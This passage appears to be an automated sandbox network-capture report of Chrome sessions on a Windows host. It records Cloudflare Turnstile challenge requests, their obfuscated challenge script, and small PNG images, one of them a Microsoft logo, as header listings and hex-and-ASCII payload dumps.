2024-12-09 17:42:21 UTC	1369	IN	Data Raw: 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a Data Ascii: lor:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.17	49772	18.165.220.47	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:21 UTC	666	OUT	GET /fic/images/icons/2796/metro_uinvert_dock/64/microsoft_new_logo_alt.png?ref=findicons HTTP/1.1 Host: images.freeimages.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://offcap.myconm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:42:22 UTC	716	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 254 Connection: close Date: Tue, 03 Dec 2024 15:09:26 GMT Last-Modified: Tue, 20 Dec 2022 05:17:19 GMT ETag: "57ab754695eb0a2c74201ecd6948c12f" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 9b06261b360f2fc15a3d94db42c0a168.cloudfront.net (CloudFront) X-Amz-Cf-Pop: BAH53-P1 X-Amz-Cf-Id: 6iGE_ZC8H7aixVObHS0HGMjYfCk51wPfWTVHEUfkJ_iXRWJC1RG8ew== Age: 527576 X-XSS-Protection: 1; mode=block X-Frame-Options: DENY Referrer-Policy: origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2024-12-09 17:42:22 UTC	254	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 40 00 00 00 40 08 03 00 00 00 9d b7 81 ec 00 00 00 42 50 4c 54 45 ff ff ff 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 e5 a9 0a 0e 92 ce c2 4d 2b 6c 93 17 f4 b2 05 06 9b e0 db 4e 26 75 a6 0b 01 a4 ef 7f ba 00 f2 50 22 ff b9 01 c0 62 25 1a 00 00 00 12 74 52 4e 53 01 03 05 07 09 0d 0f 13 15 19 4b 4f 59 5f 87 8b 93 99 bc da 4c 81 00 00 00 59 49 44 41 54 58 c3 ed cc b9 01 80 20 00 04 c1 45 50 fc 01 9f fe 5b 35 27 b8 d4 e4 a6 80 61 98 95 09 f2 a2 44 e6 47 a9 d0 6e 65 71 e0 c0 81 03 07 0e 1c 74 c1 54 95 1d 8e a6 64 fe 97 8a b2 c1 7a 2a 91 f1 52 0a 9c af 92 1c 38 70 e0 c0 81 03 07 5d 10 46 25 41 4c 4a f8 00 7a f6 14 9b 35 88 33 b8 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR@@BPLTEFFFFFFFFFFFFFFFFFFFFFFFFFFFM+lN&uP"b%tRNSKOY_LYIDATX EP[5'aDGneqtTdz*R8p]F%ALJz53IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.17	49774	104.18.94.41	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:22 UTC	727	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8ef6ca8f8eb542b2&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/xb30u/0x4AAAAAAAz81HM6AHANCtc4/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:42:23 UTC	331	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:42:23 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 123668 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8ef6ca9a38c77292-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 17:42:23 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 78 45 4a 58 34 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.xEJX4={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcep
2024-12-09 17:42:23 UTC	1369	IN	Data Raw: 62 61 63 6b 22 2c 22 74 65 73 74 69 6e 67 5f 6f 6e 6c 79 22 3a 22 54 65 73 74 69 6e 67 25 32 30 6f 6e 6c 79 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 6f 6f 74 65 72 5f 70 72 69 76 61 63 79 22 3a 22 50 72 69 76 61 63 79 22 2c 22 69 6e 76 61 6c 69 64 5f 73 69 74 65 6b 65 79 22 3a 22 49 6e 76 61 6c 69 64 25 32 30 73 69 74 65 6b 65 79 2e 25 32 30 43 6f 6e 74 61 63 74 25 32 30 74 68 65 25 32 30 53 69 74 65 25 32 30 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 25 32 30 69 66 25 32 30 74 68 69 73 25 32 30 70 72 6f 62 6c 65 6d 25 32 30 70 65 72 73 69 73 74 73 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 22 3a 22 48 61 76 69 6e 67 25 32 30 74 72 6f 75 62 6c 65 25 33 46 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 74 69 6d 65 6f 75 Data Ascii: back","testing_only":"Testing%20only.","turnstile_footer_privacy":"Privacy","invalid_sitekey":"Invalid%20sitekey.%20Contact%20the%20Site%20Administrator%20if%20this%20problem%20persists.","turnstile_feedback_report":"Having%20trouble%3F","turnstile_timeou
2024-12-09 17:42:23 UTC	1369	IN	Data Raw: 67 32 2c 67 33 2c 67 34 2c 67 65 2c 67 70 2c 67 74 2c 67 41 2c 67 48 2c 65 4f 2c 65 50 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 67 49 28 35 39 35 29 29 2f 31 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 35 34 33 29 29 2f 32 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 34 37 38 29 29 2f 33 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 35 39 35 29 29 2f 34 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 32 31 29 29 2f 35 2b 70 61 72 73 65 49 6e 74 28 67 49 28 36 30 31 29 29 2f 36 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 36 38 38 29 29 2f 37 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 34 Data Ascii: g2,g3,g4,ge,gp,gt,gA,gH,eO,eP){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(595))/1+-parseInt(gI(543))/2+-parseInt(gI(478))/3(-parseInt(gI(1595))/4)+parseInt(gI(1421))/5+parseInt(gI(601))/6+-parseInt(gI(688))/7(-parseInt(gI(4
2024-12-09 17:42:23 UTC	1369	IN	Data Raw: 28 31 33 39 37 29 5d 28 69 2c 44 29 3f 6f 5b 68 6c 28 31 31 33 37 29 5d 28 73 2c 69 2b 44 2c 45 29 3a 46 7c 7c 6f 5b 68 6c 28 31 37 34 37 29 5d 28 73 2c 69 2b 44 2c 68 5b 44 5d 29 29 3a 73 28 6f 5b 68 6c 28 38 36 35 29 5d 28 69 2c 44 29 2c 45 29 2c 43 2b 2b 29 3b 72 65 74 75 72 6e 20 6a 3b 66 75 6e 63 74 69 6f 6e 20 73 28 47 2c 48 2c 68 6b 29 7b 68 6b 3d 62 2c 4f 62 6a 65 63 74 5b 68 6b 28 31 33 38 30 29 5d 5b 68 6b 28 31 31 31 37 29 5d 5b 68 6b 28 34 31 37 29 5d 28 6a 2c 48 29 7c 7c 28 6a 5b 48 5d 3d 5b 5d 29 2c 6a 5b 48 5d 5b 68 6b 28 34 37 37 29 5d 28 47 29 7d 7d 2c 66 6d 3d 67 4a 28 36 31 37 29 5b 67 4a 28 31 32 35 34 29 5d 28 27 3b 27 29 2c 66 6e 3d 66 6d 5b 67 4a 28 31 31 37 35 29 5d 5b 67 4a 28 37 31 37 29 5d 28 66 6d 29 2c 65 4d 5b 67 4a 28 31 35 Data Ascii: (1397)](i,D)?o[hl(1137)](s,i+D,E):F\|\|o[hl(1747)](s,i+D,h[D])):s(o[hl(865)](i,D),E),C++);return j;function s(G,H,hk){hk=b,Object[hk(1380)][hk(1117)][hk(417)](j,H)\|\|(j[H]=[]),j[H][hk(477)](G)}},fm=gJ(617)[gJ(1254)](';'),fn=fm[gJ(1175)][gJ(717)](fm),eM[gJ(15
2024-12-09 17:42:23 UTC	1369	IN	Data Raw: 2c 67 3d 31 65 33 2a 65 4d 5b 68 71 28 31 36 39 35 29 5d 5b 68 71 28 31 33 32 39 29 5d 28 65 5b 68 71 28 31 36 34 30 29 5d 28 32 2c 66 29 2c 33 32 29 2c 65 4d 5b 68 71 28 39 37 30 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 72 29 7b 68 72 3d 68 71 2c 65 4d 5b 68 72 28 31 34 33 36 29 5d 26 26 28 65 5b 68 72 28 35 31 38 29 5d 28 68 72 28 34 38 38 29 2c 68 72 28 34 38 38 29 29 3f 28 65 4d 5b 68 72 28 31 35 36 31 29 5d 5b 68 72 28 36 38 31 29 5d 28 29 2c 65 4d 5b 68 72 28 31 35 36 31 29 5d 5b 68 72 28 31 31 35 31 29 5d 28 29 2c 65 4d 5b 68 72 28 38 38 34 29 5d 3d 21 21 5b 5d 2c 65 4d 5b 68 72 28 31 34 33 36 29 5d 5b 68 72 28 39 33 34 29 5d 28 7b 27 73 6f 75 72 63 65 27 3a 68 72 28 37 36 38 29 2c 27 77 69 64 67 65 74 49 64 27 3a 65 4d 5b 68 72 28 31 35 31 31 29 5d Data Ascii: ,g=1e3*eM[hq(1695)][hq(1329)](e[hq(1640)](2,f),32),eM[hq(970)](function(hr){hr=hq,eM[hr(1436)]&&(e[hr(518)](hr(488),hr(488))?(eM[hr(1561)][hr(681)](),eM[hr(1561)][hr(1151)](),eM[hr(884)]=!![],eM[hr(1436)][hr(934)]({'source':hr(768),'widgetId':eM[hr(1511)]
2024-12-09 17:42:23 UTC	1369	IN	Data Raw: 37 32 29 5d 29 2c 42 3d 7b 7d 2c 42 5b 68 73 28 31 32 30 39 29 5d 3d 66 2c 42 5b 68 73 28 31 32 33 36 29 5d 3d 6a 2c 42 2e 63 63 3d 67 2c 42 5b 68 73 28 36 31 39 29 5d 3d 6b 2c 42 5b 68 73 28 37 30 33 29 5d 3d 6f 2c 43 3d 4a 53 4f 4e 5b 68 73 28 31 32 32 35 29 5d 28 42 29 2c 44 3d 67 48 5b 68 73 28 38 36 37 29 5d 28 43 29 5b 68 73 28 31 32 35 31 29 5d 28 27 2b 27 2c 69 5b 68 73 28 39 36 31 29 5d 29 2c 73 5b 68 73 28 31 34 38 32 29 5d 28 69 5b 68 73 28 33 34 32 29 5d 28 27 76 5f 27 2b 65 4d 5b 68 73 28 31 35 31 31 29 5d 5b 68 73 28 31 35 38 32 29 5d 2b 27 3d 27 2c 44 29 29 7d 63 61 74 63 68 28 45 29 7b 7d 7d 2c 65 4d 5b 67 4a 28 31 31 36 38 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 68 74 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 2c 73 2c 76 29 Data Ascii: 72)]),B={},B[hs(1209)]=f,B[hs(1236)]=j,B.cc=g,B[hs(619)]=k,B[hs(703)]=o,C=JSON[hs(1225)](B),D=gH[hs(867)](C)[hs(1251)]('+',i[hs(961)]),s[hs(1482)](i[hs(342)]('v_'+eM[hs(1511)][hs(1582)]+'=',D))}catch(E){}},eM[gJ(1168)]=function(d,ht,e,f,g,h,i,j,k,l,m,s,v)
2024-12-09 17:42:23 UTC	1369	IN	Data Raw: 6d 5b 68 74 28 36 30 39 29 5d 3d 68 2c 6d 5b 68 74 28 31 30 30 39 29 5d 3d 69 2c 6d 5b 68 74 28 38 38 38 29 5d 3d 64 2c 6d 7d 2c 65 4d 5b 67 4a 28 38 39 36 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 66 2c 67 2c 68 2c 69 2c 68 76 2c 6a 2c 6b 2c 6c 2c 6d 2c 76 2c 78 2c 42 2c 43 2c 6e 2c 6f 29 7b 28 68 76 3d 67 4a 2c 6a 3d 7b 7d 2c 6a 5b 68 76 28 31 31 30 30 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 73 2c 76 29 7b 72 65 74 75 72 6e 20 73 5e 76 7d 2c 6a 5b 68 76 28 34 34 37 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 73 2c 76 29 7b 72 65 74 75 72 6e 20 73 5e 76 7d 2c 6a 5b 68 76 28 31 33 38 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 73 2c 76 29 7b 72 65 74 75 72 6e 20 73 5e 76 7d 2c 6a 5b 68 76 28 31 34 36 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 73 2c 76 29 7b 72 65 74 75 72 6e Data Ascii: m[ht(609)]=h,m[ht(1009)]=i,m[ht(888)]=d,m},eM[gJ(896)]=function(e,f,g,h,i,hv,j,k,l,m,v,x,B,C,n,o){(hv=gJ,j={},j[hv(1100)]=function(s,v){return s^v},j[hv(447)]=function(s,v){return s^v},j[hv(1383)]=function(s,v){return s^v},j[hv(1463)]=function(s,v){return
2024-12-09 17:42:23 UTC	1369	IN	Data Raw: 2c 32 35 35 29 29 2c 43 3d 74 68 69 73 2e 68 5b 6b 5b 68 76 28 31 33 31 35 29 5d 28 31 36 33 2c 74 68 69 73 2e 67 29 5d 5b 33 5d 5e 6b 5b 68 76 28 34 33 35 29 5d 28 6b 5b 68 76 28 31 30 31 37 29 5d 28 74 68 69 73 2e 68 5b 74 68 69 73 2e 67 5e 31 36 33 2e 37 35 5d 5b 31 5d 5b 68 76 28 39 34 34 29 5d 28 74 68 69 73 2e 68 5b 6b 5b 68 76 28 31 30 33 32 29 5d 28 31 36 33 2c 74 68 69 73 2e 67 29 5d 5b 30 5d 2b 2b 29 2d 32 34 39 2c 32 35 36 29 2c 32 35 35 29 2c 78 26 26 28 76 5b 30 5d 3d 42 2c 76 5b 33 5d 3d 32 33 39 5e 43 29 29 3a 28 6e 3d 7b 7d 2c 6e 5b 68 76 28 35 36 32 29 5d 3d 65 2c 6e 5b 68 76 28 34 36 35 29 5d 3d 66 2c 6e 5b 68 76 28 36 30 39 29 5d 3d 67 2c 6e 5b 68 76 28 31 30 30 39 29 5d 3d 68 2c 6e 5b 68 76 28 38 38 38 29 5d 3d 69 2c 6f 3d 6e 2c 65 4d Data Ascii: ,255)),C=this.h[k[hv(1315)](163,this.g)][3]^k[hv(435)](k[hv(1017)](this.h[this.g^163.75][1][hv(944)](this.h[k[hv(1032)](163,this.g)][0]++)-249,256),255),x&&(v[0]=B,v[3]=239^C)):(n={},n[hv(562)]=e,n[hv(465)]=f,n[hv(609)]=g,n[hv(1009)]=h,n[hv(888)]=i,o=n,eM
2024-12-09 17:42:23 UTC	1369	IN	Data Raw: 5b 69 69 28 31 37 39 39 29 5d 28 66 5b 69 69 28 35 31 37 29 5d 28 74 68 69 73 2e 68 5b 66 5b 69 69 28 39 33 37 29 5d 28 31 36 33 2c 74 68 69 73 2e 67 29 5d 5b 31 5d 5b 69 69 28 39 34 34 29 5d 28 74 68 69 73 2e 68 5b 74 68 69 73 2e 67 5e 31 36 33 2e 32 5d 5b 30 5d 2b 2b 29 2c 32 34 39 29 2c 32 35 36 29 26 32 35 35 5e 32 32 37 2e 37 38 2c 68 5b 69 69 28 34 37 37 29 5d 28 74 68 69 73 2e 68 5b 74 68 69 73 2e 67 5e 69 5d 29 29 3a 67 73 28 29 7d 2c 31 65 33 29 3a 65 26 26 64 5b 69 65 28 31 37 34 39 29 5d 28 65 5b 69 65 28 36 31 39 29 5d 2c 69 65 28 37 36 38 29 29 26 26 65 5b 69 65 28 31 36 32 30 29 5d 3d 3d 3d 69 65 28 31 34 35 33 29 26 26 64 5b 69 65 28 34 32 32 29 5d 28 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 2c 67 32 29 7d 29 2c 67 34 3d 21 5b 5d 2c 21 66 76 Data Ascii: [ii(1799)](f[ii(517)](this.h[f[ii(937)](163,this.g)][1][ii(944)](this.h[this.g^163.2][0]++),249),256)&255^227.78,h[ii(477)](this.h[this.g^i])):gs()},1e3):e&&d[ie(1749)](e[ie(619)],ie(768))&&e[ie(1620)]===ie(1453)&&d[ie(422)](clearInterval,g2)}),g4=![],!fv
2024-12-09 17:42:23 UTC	1369	IN	Data Raw: 75 72 6e 20 68 2b 69 7d 2c 27 4a 77 4c 61 6f 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 77 67 6c 64 78 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 4c 67 58 68 6e 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 79 5a 4f 45 67 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 26 68 7d 2c 27 6d 74 48 54 44 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 67 53 50 68 62 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 74 6c 75 73 64 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d 2c 27 42 57 72 4e Data Ascii: urn h+i},'JwLao':function(h,i){return i==h},'wgldx':function(h,i){return h-i},'LgXhn':function(h,i){return h(i)},'yZOEg':function(h,i){return i&h},'mtHTD':function(h,i){return h-i},'gSPhb':function(h,i){return h(i)},'tlusd':function(h,i){return h>i},'BWrN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.17	49775	104.18.94.41	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:22 UTC	739	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/xb30u/0x4AAAAAAAz81HM6AHANCtc4/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:42:23 UTC	240	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:42:23 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8ef6ca9b5b15429a-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 17:42:23 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.17	49776	18.165.220.75	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:23 UTC	429	OUT	GET /fic/images/icons/2796/metro_uinvert_dock/64/microsoft_new_logo_alt.png?ref=findicons HTTP/1.1 Host: images.freeimages.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:42:24 UTC	716	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 254 Connection: close Date: Tue, 03 Dec 2024 15:09:26 GMT Last-Modified: Tue, 20 Dec 2022 05:17:19 GMT ETag: "57ab754695eb0a2c74201ecd6948c12f" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 ad4641cb3263eb2a4233d70631a033f6.cloudfront.net (CloudFront) X-Amz-Cf-Pop: BAH53-P1 X-Amz-Cf-Id: c9uTcK0hCECnHEFNwqNi8mjZH-OoucuAQBbwGpJxQx89gV7zv6cGdA== Age: 527579 X-XSS-Protection: 1; mode=block X-Frame-Options: DENY Referrer-Policy: origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2024-12-09 17:42:24 UTC	254	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 40 00 00 00 40 08 03 00 00 00 9d b7 81 ec 00 00 00 42 50 4c 54 45 ff ff ff 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 e5 a9 0a 0e 92 ce c2 4d 2b 6c 93 17 f4 b2 05 06 9b e0 db 4e 26 75 a6 0b 01 a4 ef 7f ba 00 f2 50 22 ff b9 01 c0 62 25 1a 00 00 00 12 74 52 4e 53 01 03 05 07 09 0d 0f 13 15 19 4b 4f 59 5f 87 8b 93 99 bc da 4c 81 00 00 00 59 49 44 41 54 58 c3 ed cc b9 01 80 20 00 04 c1 45 50 fc 01 9f fe 5b 35 27 b8 d4 e4 a6 80 61 98 95 09 f2 a2 44 e6 47 a9 d0 6e 65 71 e0 c0 81 03 07 0e 1c 74 c1 54 95 1d 8e a6 64 fe 97 8a b2 c1 7a 2a 91 f1 52 0a 9c af 92 1c 38 70 e0 c0 81 03 07 5d 10 46 25 41 4c 4a f8 00 7a f6 14 9b 35 88 33 b8 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR@@BPLTEFFFFFFFFFFFFFFFFFFFFFFFFFFFM+lN&uP"b%tRNSKOY_LYIDATX EP[5'aDGneqtTdz*R8p]F%ALJz53IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.17	49777	104.18.95.41	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:25 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8ef6ca8f8eb542b2&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:42:25 UTC	331	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:42:25 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 119702 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8ef6caa86aaf236a-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 17:42:25 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 78 45 4a 58 34 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.xEJX4={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.supported_browsers":"https
